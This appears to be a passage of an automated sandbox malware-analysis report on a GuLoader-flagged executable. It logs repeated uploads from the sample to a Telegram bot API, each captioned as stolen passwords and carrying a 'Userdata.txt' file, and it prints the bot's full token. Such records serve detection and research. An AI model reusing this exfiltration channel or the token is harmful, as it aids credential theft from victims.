2025-01-10 20:42:07 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 39 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 32 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44696,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541727,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.9	50032	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:42:09 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3445bcd1a54a Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:42:09 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 34 34 35 62 63 64 31 61 35 34 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3445bcd1a54aContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:42:09 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:42:09 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:42:09 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 39 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 32 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44697,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541729,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.9	50034	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:42:11 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd346fcd3daf9c Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:42:11 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 34 36 66 63 64 33 64 61 66 39 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd346fcd3daf9cContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:42:11 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:42:11 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:42:11 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 39 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 33 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44698,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541731,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.9	50036	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:42:13 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd34acc0f4c217 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:42:13 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 34 61 63 63 30 66 34 63 32 31 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd34acc0f4c217Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:42:13 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:42:13 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:42:13 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 39 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 33 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44699,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541733,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.9	50038	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:42:15 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd34da4da4320d Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:42:15 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 34 64 61 34 64 61 34 33 32 30 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd34da4da4320dContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:42:15 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:42:15 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:42:15 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 30 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 33 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44700,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541735,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.9	50040	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:42:17 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd351bdfb947d2 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:42:17 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 35 31 62 64 66 62 39 34 37 64 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd351bdfb947d2Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:42:17 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:42:17 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:42:17 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 30 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 33 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44701,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541737,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.9	50042	149.154.167.220	443	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:42:20 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd358ba0a45b44 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:42:20 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 35 38 62 61 30 61 34 35 62 34 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd358ba0a45b44Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:42:20 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:42:20 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:42:20 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 30 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 34 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44702,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541740,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.9	50044	149.154.167.220	443

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:42:24 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd318d60772313 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:42:24 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 38 64 36 30 37 37 32 33 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd318d60772313Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:42:25 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:42:25 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:42:25 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 30 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 34 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44703,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541745,"document":{"file_name":"U

Target ID:	1
Start time:	15:40:15
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\v4nrZtP7K2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\v4nrZtP7K2.exe"
Imagebase:	0x400000
File size:	1'048'063 bytes
MD5 hash:	0F45BBAFC276FA80464C8892BA6F5B2A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000001.00000002.2034874444.0000000003C88000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:40:51
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\v4nrZtP7K2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\v4nrZtP7K2.exe"
Imagebase:	0x400000
File size:	1'048'063 bytes
MD5 hash:	0F45BBAFC276FA80464C8892BA6F5B2A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
